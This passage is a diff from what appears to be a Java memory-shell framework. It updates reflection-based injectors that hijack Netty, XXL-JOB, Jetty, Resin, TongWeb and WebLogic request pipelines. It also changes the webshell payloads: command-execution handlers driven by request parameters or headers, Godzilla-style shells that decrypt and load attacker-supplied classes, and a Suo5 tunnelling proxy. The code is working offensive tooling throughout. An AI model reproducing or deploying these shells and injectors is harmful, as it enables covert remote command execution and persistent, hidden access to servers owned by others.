* upgrade is handled before a non-async filter can disable async support for the request.
*/
@SuppressWarnings("all")
private void prioritizeWebSocketFilter(Object context) throws Exception {
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object value = getFieldValue(filterManager, "filterPatternList");
if (!(value instanceof List)) {
return;
}
List filterMappings = (List) value;
synchronized (filterMappings) {
for (int i = 0; i < filterMappings.size(); i++) {
Object filterMapping = filterMappings.get(i);
Object filterName = getFieldValue(filterMapping, "filterName");
if ("WebSocket filter".equals(filterName)) {
if (i > 0) {
filterMappings.remove(i);
filterMappings.add(0, filterMapping);
}
return;
}
}
}
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,13 +1,8 @@
package com.reajason.javaweb.memshell.injector.xxljob;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
@@ -15,11 +10,8 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.UUID;
import java.util.zip.GZIPInputStream;
/**
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
return;
}
try {
inject();
msg += "[/*] ready\n";
if (inject()) {
msg += "[/*] ready\n";
} else {
msg += "failed, server channel not found\n";
}
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
private static Class<?> handlerClass;
private static ChannelHandler originalChildHandler;
private final String handlerName = UUID.randomUUID().toString();
@Override
protected void initChannel(SocketChannel channel) throws Exception {
if (channel.pipeline().get(handlerName) != null) {
return;
}
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
.addLast(channelHandler)
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<>(2000),
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
(r, executor) -> {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
})));
channel.pipeline().addLast(originalChildHandler);
String httpCodecName = null;
for (String name : channel.pipeline().names()) {
if (name.contains("HttpObjectAggregator")) {
httpCodecName = name;
break;
}
}
if (httpCodecName != null) {
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
} else {
channel.pipeline().addFirst(handlerName, channelHandler);
}
}
private Class<?> getShellClass(Object context) throws Exception {
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
}
public void inject() throws Exception {
public boolean inject() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
if (evField == null) {
evField = getField(innerRunnable.getClass(), "this$0");
}
if (evField == null) {
continue;
}
target = evField.get(innerRunnable);
if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
handlerClass = getShellClass(embedHttpServerHandler);
setFieldValue(embedHttpServerHandler, "childHandler", this);
return;
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
for (Object key : set.toArray()) {
try {
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
Object tail = getFieldValue(pipeline, "tail");
Object prevContext = getFieldValue(tail, "prev");
Object acceptor = getFieldValue(prevContext, "handler");
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
continue;
}
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
if (childHandlerField == null) {
continue;
}
childHandlerField.setAccessible(true);
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
handlerClass = getShellClass(acceptor);
childHandlerField.set(acceptor, this);
return true;
} catch (Exception ignored) {
}
}
}
} catch (Exception ignored) {
}
}
}
return false;
}
@SuppressWarnings("all")
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5 extends AbstractServer {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
} catch (Exception ignored) {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
} catch (Exception ignored2) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
}
}
}
}
@Override
public Class<?> getListenerInterceptor() {
return ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, Jetty5ListenerInjector.class)
.addInjector(FILTER, Jetty5FilterInjector.class)
.addInjector(SERVLET, Jetty5ServletInjector.class)
.build();
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
import static com.reajason.javaweb.memshell.ShellType.FILTER;
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2 extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, Resin2FilterInjector.class)
.addInjector(SERVLET, Resin2ServletInjector.class)
.build();
}
}
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
.addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
.addInjector(SERVLET, WebLogicServletInjector.class)
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.build();
}
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Optional;
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName);
}
String result = "";
try {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result), String.class);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ServerResponse.ok().body(resultMono, String.class);
}
private String getParam(String param) {
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Scanner;
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName);
}
String result = "";
try {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ResponseEntity.ok(result);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ResponseEntity.ok(resultMono);
}
private String getParam(String param) {
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
if (p == null) {
return chain.filter(exchange);
}
String param = getParam(p);
String result = "";
try {
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
} catch (Throwable e) {
e.printStackTrace();
}
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
final String paramValue = p;
return Mono.fromCallable(() -> {
String param = getParam(paramValue);
String result = "";
try {
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
} catch (Throwable e) {
e.printStackTrace();
}
return result;
}).subscribeOn(Schedulers.boundedElastic())
.flatMap(result -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
}
private String getParam(String param) {
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.util.MultiValueMap;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
if (value == null || !value.contains(headerValue)) {
return Mono.empty();
}
Object bufferStream = request.formData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
Mono<String> bufferStream = request.formData()
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
.subscribeOn(Schedulers.boundedElastic()));
return ServerResponse.ok().body(bufferStream, String.class);
}
private String process(MultiValueMap<String, String> map, ServerRequest request) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build();
}
Object bufferStream = exchange.getFormData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
Mono<String> bufferStream = exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()));
return ResponseEntity.ok(bufferStream);
}
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getPost(exchange));
return exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()))
.flatMap(bytes -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
}
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
return formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(exchange.getRequest());
f.equals(data);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(exchange.getRequest());
f.equals(data);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
}
return result.toString().getBytes(StandardCharsets.UTF_8);
}
@SuppressWarnings("all")
@@ -8,6 +8,7 @@ import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
@@ -30,19 +31,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
private final int CHARACTERS_LENGTH = CHARACTERS.length();
private final int BUF_SIZE = 1024 * 16;
private final long TUNNEL_IDLE_TIMEOUT_MILLIS = 300L * 1000L;
private InputStream gInStream;
private OutputStream gOutStream;
private String gtunId;
private int mode = 0;
private Object gWriteLock;
public Suo5v2() {
}
public Suo5v2(InputStream in, OutputStream out, String tunId) {
this(in, out, tunId, null);
}
public Suo5v2(InputStream in, OutputStream out, String tunId, Object writeLock) {
this.gInStream = in;
this.gOutStream = out;
this.gtunId = tunId;
this.gWriteLock = writeLock;
}
public Suo5v2(String tunId, int mode) {
@@ -250,7 +258,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
conn = redirect(req, new String(redirectData), newBody);
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
pipeStream(conn.getInputStream(), out, resp, false);
pipeStream(conn.getInputStream(), out, resp, false, null);
} finally {
if (conn != null) {
conn.disconnect();
@@ -336,7 +344,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
socket.connect(new InetSocketAddress(host, port), 5000);
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
} catch (Exception e) {
e.printStackTrace();
if (socket != null) {
socket.close();
}
@@ -350,8 +357,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
final Object responseWriteLock = new Object();
try {
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId, responseWriteLock);
t = new Thread(p);
t.start();
@@ -374,7 +382,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
break;
case 0x10:
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0);
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0, responseWriteLock);
break;
default:
}
@@ -388,7 +396,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0, responseWriteLock);
}
if (t != null) {
t.join();
@@ -482,10 +490,24 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
writeAndFlush(resp, data, dirtySize, null);
}
private void writeAndFlush(Object resp, byte[] data, int dirtySize, Object writeLock) throws Exception {
if (data == null || data.length == 0) {
return;
}
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
if (writeLock == null) {
writeResponseData(resp, out, data, dirtySize);
} else {
synchronized (writeLock) {
writeResponseData(resp, out, data, dirtySize);
}
}
}
private void writeResponseData(Object resp, OutputStream out, byte[] data, int dirtySize) throws Exception {
out.write(data);
if (dirtySize != 0) {
out.write(marshalBase64(newDirtyChunk(dirtySize)));
@@ -504,6 +526,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
SocketChannel socketChannel = null;
HashMap resultData = null;
Object[] existing = (Object[]) getKey(tunId);
if (existing != null) {
touchTunnel(existing);
baos.write(marshalBase64(newStatus(tunId, (byte) 0x00)));
return baos.toByteArray();
}
try {
socketChannel = SocketChannel.open();
socketChannel.socket().setTcpNoDelay(true);
@@ -514,8 +542,19 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
resultData = newStatus(tunId, (byte) 0x00);
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue});
if (newThread) {
Object[] newTunnel = new Object[]{socketChannel, readQueue, writeQueue, new long[]{new Date().getTime()}};
boolean installed = false;
synchronized (ctx) {
existing = (Object[]) ctx.get(tunId);
if (existing == null) {
ctx.put(tunId, newTunnel);
installed = true;
}
}
if (!installed) {
socketChannel.close();
touchTunnel(existing);
} else if (newThread) {
new Thread(new Suo5v2(tunId, 1)).start();
new Thread(new Suo5v2(tunId, 2)).start();
}
@@ -538,8 +577,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (objs == null) {
throw new IOException("tunnel not found");
}
touchTunnel(objs);
SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isOpen()) {
// socket already closed, return silently and let performRead handle it
return;
}
@@ -562,6 +603,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (objs == null) {
throw new IOException("tunnel not found");
}
touchTunnel(objs);
SocketChannel sc = (SocketChannel) objs[0];
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
@@ -589,7 +631,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
private void performDelete(String tunId) {
Object[] objs = (Object[]) getKey(tunId);
if (objs != null) {
removeKey(tunId);
removeKeyIfSame(tunId, objs);
SocketChannel sc = (SocketChannel) objs[0];
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
try {
@@ -611,7 +653,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
return port;
}
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal, Object writeLock) throws Exception {
try {
byte[] readBuf = new byte[1024 * 8];
while (true) {
@@ -623,10 +665,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (needMarshal) {
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
if (writeLock == null) {
writePipeData(outputStream, resp, dataTmp);
} else {
synchronized (writeLock) {
writePipeData(outputStream, resp, dataTmp);
}
}
}
} finally {
@@ -640,6 +684,14 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
}
private void writePipeData(OutputStream outputStream, Object resp, byte[] data) throws Exception {
outputStream.write(data);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
}
}
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
buffer.clear();
int bytesRead = socketChannel.read(buffer);
@@ -830,6 +882,47 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
ctx.remove(k);
}
private boolean removeKeyIfSame(String k, Object expected) {
synchronized (ctx) {
if (ctx.get(k) == expected) {
ctx.remove(k);
return true;
}
}
return false;
}
private void touchTunnel(Object[] objs) {
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
return;
}
long[] activity = (long[]) objs[3];
synchronized (activity) {
activity[0] = new Date().getTime();
}
}
private long getTunnelIdleMillis(Object[] objs) {
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
return Long.MAX_VALUE;
}
long[] activity = (long[]) objs[3];
synchronized (activity) {
return new Date().getTime() - activity[0];
}
}
private boolean waitForTunnelCleanup(Object[] objs, BlockingQueue<byte[]> writeQueue) throws InterruptedException {
while (getKey(this.gtunId) == objs) {
long remaining = TUNNEL_IDLE_TIMEOUT_MILLIS - getTunnelIdleMillis(objs);
if (remaining <= 0) {
return false;
}
writeQueue.poll(remaining, TimeUnit.MILLISECONDS);
}
return true;
}
private byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
